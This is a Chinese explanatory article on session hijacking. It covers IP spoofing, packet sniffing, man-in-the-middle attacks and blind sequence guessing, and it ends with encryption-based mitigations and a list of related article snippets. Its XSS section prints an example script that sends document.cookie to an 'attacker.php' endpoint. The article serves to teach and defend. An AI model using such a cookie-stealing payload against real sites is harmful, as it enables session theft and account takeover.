会话劫持安全攻击

article/2025/9/17 4:17:41

什么是会话劫持?
TCP 会话劫持是对受保护网络上的用户会话的安全攻击。会话劫持最常见的方法称为 IP 欺骗,攻击者使用源路由 IP 数据包将命令插入网络上两个节点之间的活动通信中,并将自己伪装成经过身份验证的用户之一。这种类型的攻击是可能的,因为身份验证通常只在 TCP 会话开始时进行。

另一种类型的会话劫持被称为中间人攻击,攻击者使用嗅探器可以观察设备之间的通信并收集传输的数据。

会话劫持的不同方式:

  • 会话劫持有很多方法。其中一些如下 -
    • 使用数据包嗅探器

    • 从上图中可以看出,攻击通过一些数据包嗅探器捕获受害者的会话ID,从而获得对服务器的访问权限。

    • Cross Site Scripting(XSS Attack)
      攻击者还可以通过使用 javascript 的 XSS 攻击来捕获受害者的 Session ID。如果攻击者使用恶意 JavaScript 向受害者发送精心制作的链接,当受害者单击该链接时,JavaScript 将运行并完成攻击者发出的指令。

      <SCRIPT type="text/javascript">
      var adr = '../attacker.php?victim_cookie=' + escape(document.cookie);
      </SCRIPT>

    • IP Spoofing
      欺骗是冒充他人。这是一种用于未经授权访问具有受信任主机的 IP 地址的计算机的技术。在实施该技术时,攻击者必须获取客户端的IP地址,然后将自己伪装成客户端IP地址的数据包注入到TCP会话中,从而欺骗正在与受害者(即原始主机)通信的服务器。
    • 盲目攻击
      如果攻击者无法嗅探数据包并猜测服务器期望的正确序列号,可以尝试暴力组合序列号。

    减轻

    为了通过会话劫持来保护网络,防御者必须在应用程序级别和网络级别实施安全措施。可以通过对数据包进行加密来防止网络级别的劫持,这样劫持者就无法破译数据包标头,从而获取任何有助于欺骗的信息。可以使用 IPSEC、SSL、SSH 等协议来提供这种加密。互联网安全协议 (IPSEC) 具有在参与通信的两方之间的某些共享密钥上加密数据包的能力。IPsec 以两种模式运行:传输模式和隧道模式。
    在传输模式下,只有数据包中发送的数据被加密,而在隧道模式下,数据包头和数据都被加密,因此限制性更强。

    会话劫持对网络上的网络和 Web 应用程序构成严重威胁,因为大多数系统都容易受到攻击。

    来源;

    • Session hijacking attack | OWASP Foundation
    • https://en.wikipedia.org/wiki/Session_hijacking
    • http://www.infosecwriters.com/text_resources/pdf/SKapoor_SessionHijacking.pdf
    • https://www.owasp.org/images/c/cb/Session_Hijacking_3.JPG
    • https://www.owasp.org/images/b/b6/Code_Injection.JPG


http://chatgpt.dhexx.cn/article/Oug2NEHR.shtml

相关文章

HTML sessionStorage会话存储

sessionStorage会话存储 sessionStorage 是HTML5新增的一个会话存储对象&#xff0c;用于临时保存同一窗口(或标签页)的数据&#xff0c;在关闭窗口或标签页之后将会删除这些数据。本篇主要介绍 sessionStorage(会话存储)的使用方式。包括添加、修改、删除等操作。 目录 1. 介…

【windows】会话(Session)、窗口站(WindowsStation)、桌面、窗口

序 一个系统可以同时登录多个用户(包括远程用户登录)&#xff08;多用户系统&#xff09;。 一个用户拥有一个会话&#xff08;远程用户被称为远程会话&#xff09;。 一个会话拥有多个工作站和窗口。只能拥有一个交互式工作站(Winsta0)。&#xff08;Window Station 0…

WindTerm导出会话

WindTerm的session配置并无法被适用于其他软件中&#xff0c;所有的session保存在WindTerm安装路径下的profiles文件夹内&#xff0c;如果需要更新版本或回退&#xff0c;将所安装的版本覆盖即可&#xff0c;或是将profiles复制于新路径下。 图标闪烁设置、会话保存-导入导出 …

Spring Security中的会话【Session】管理与防御以及会话的并发控制

众所周知&#xff0c;HTTP本身是没有任何关于当前用户状态的内容&#xff0c;也就是两个HTTP请求之间是没有任何的关联可言&#xff0c;用户在和服务器交互的过程中&#xff0c;站点无法确定是哪个用户访问&#xff0c;也因此不能对其提供相应的个性化服务。Session的诞生就是为…

web基础:会话

一、会话概述 HttpSession对象可以保存跨同一个客户多个请求的会话状态。即与一个特定客户的整个会话期间&#xff0c;HttpSession会持久存储。对于会话期间客户做的所有请求&#xff0c;从中得到的所有信息&#xff0c;都可以使用HttpSession对象保存。 会话的工作方式&#…

会话固定攻击(session fixation attack)及解决办法

1 Cookie 的工作过程 Cookie的传递用到了两个字段: 请求头字段Cookie和响应头字段Set-Cookie。 当用户浏览器第一次访问服务器的时候&#xff0c;服务器肯定是不知道他的身份的。所以&#xff0c;就要创建一个独特的身份识别数据&#xff0c;格式是"keyvalue"&…

2022年会话推荐综述

title: 2022年会话推荐综述 最近对于会话推荐有了新的兴趣 文章题目&#xff1a; A Survey on Session-based Recommender Systems 0. 前言 提供了一个统一的框架来对SBRSs研究进行分类 SBRS的统一问题陈述&#xff0c;其中SBRS建立在正式概念之上&#xff1a;用户、项目、…

会话保持原理

1. 什么是会话保持&#xff1f; 会话保持是负载均衡最常见的问题之一&#xff0c;也是一个相对比较复杂的问题。会话保持有时候又叫做粘滞会话(Sticky Sessions)。会话保持是指在负载均衡器上的一种机制&#xff0c;可以识别客户端与服务器之间交互过程的关连性&#xff0c;在…

linux会话session

linux会话 什么是linux session 我们常见的 Linux session 一般是指 shell session。Shell session 是终端中当前的状态&#xff0c;在终端中只能有一个 session。 当我们打开一个新的终端时&#xff0c;总会创建一个新的 shell session。这表明会话是我们和shell交互的一个过…

会话令牌写入URL

目录 一. 漏洞描述 二. 漏洞修复 一. 漏洞描述 会话令牌即Token&#xff0c;关于Token&#xff0c;传送门-》如何理解Session、Cookie与Token 。 用户在进行get请求将用户的令牌写入url&#xff0c;导致中间人攻击获取令牌进行登陆。如下 二. 漏洞修复 禁止将令牌写入url

PDU会话流程

1.PDU会话的概念 1.1概述 5G系统的一个关键功能&#xff1a;为UE提供一个到达DN的连接会话管理功能&#xff08;SMF&#xff09;职责&#xff1a; 设置UE到DN的连接对该连接的用户面进行管理 5G系统的设计目标是支持大量的5G案例&#xff1a; 支持不同的PDU类型多个可选的…

会话固定漏洞

目录 漏洞原理 漏洞检测 漏洞利用 漏洞修复 漏洞原理 Session 是应用系统对浏览器客户端身份认证的属性标识&#xff0c;在用户退出应用系统时&#xff0c;应将客户端 Session 认证属性标识清空。如果未能清空客户端 Session 标识&#xff0c;在下次登录系统时&#xff0c…

《Oracle Java EE编程自学和面试指南》09-02:HttpSession接口

深入了解IT/互联网行业及岗位&#xff0c;请参阅通用IT/互联网岗位招聘计划&#xff08;最新全岗版&#xff09;。 深入了解职业晋升及学习路线&#xff0c;请参阅最优职业晋升路线和课程学习指南&#xff08;最新全栈版&#xff09;。 内容导航&#xff1a; 前言1、HttpSessi…

【LWIP的mDNS】

一&#xff0e;mdns 1.什么是mdns&#xff1f; mDNS协议适用于局域网内没有DNS服务器时的域名解析&#xff0c;设备通过组播的方式交互DNS记录来完成域名解析&#xff0c;约定的组播地址是&#xff1a;224.0.0.251&#xff0c;端口号是5353 主要用于在同一局域网内&#xff0c;…

DNS DDNS NBNS mDNS LLMNR LLDPDU SSDP协议

DNS DNS只是提供了域名和IP地址之间的静态对应关系&#xff0c;当IP地址发生变化时&#xff0c;DNS无法动态的更新域名和IP地址之间的对应关系&#xff0c;从而导致访问失败。但是DDNS系统是将用户的动态IP地址映射到一个固定的域名解析服务上 DDNS DDNS用来动态更新DNS服务…

mDNSResponder介绍与移植

mDNSResponder是苹果的Bonjour项目的一部分。 Bonjour是法语“你好”的意思。 Bonjour软件源自正IETF零配置网络工作。零配置工作有三个要求&#xff1a; 1.分配IP地址&#xff08;即使没有分配DHCP服务器的IP地址&#xff09; 2.提供名称到地址的转换&#xff08;即使没有DNS服…

启用Ubuntu 服务器上的 mDNS

陈拓 2022/03/18-2022/03/18 在动态分配IP地址的情况下&#xff0c;在局域网中使用mDNS访问Ubuntu服务器就不需要知道IP地址了。 我的Ubuntu系统版本 先用IP地址登录Ubuntu服务器。 具体操作见《Win10命令窗口的SSH和SFTP操作》 Win10命令窗口的SSH和SFTP操作_晨之清风的博…

Bonjour手把手搭建一:mDNS(apple multicastdns.org)

mDNS(Multicast DNS)——From Apple https://support.apple.com/kb/TA20999?localezh_CN&viewlocaleen_US Multicast DNS, one of the features incorporated in Bonjour, which was introduced in Mac OS X 10.2. Bonjour的一个新特性&#xff0c;在Mac OS X10.2后引入…

SpyCast:一款功能强大的跨平台mDNS枚举工具

关于SpyCast SpyCast是一款功能强大的跨平台mDNS枚举工具&#xff0c;该工具支持在主动模式下下递归查询服务&#xff0c;也可以在被动模式下仅侦听多播数据包。因此&#xff0c;广大研究人员可以使用该工具测试mDNS协议和本地网络的安全性。 mDNS介绍 mDNS&#xff0c;即多…

esp-idf编译报错Failed to resolve component ‘mdns‘

Failed to resolve component mdns 根据提示 打开https://components.espressif.com/搜索mdns 选择复制 执行后再次进行编译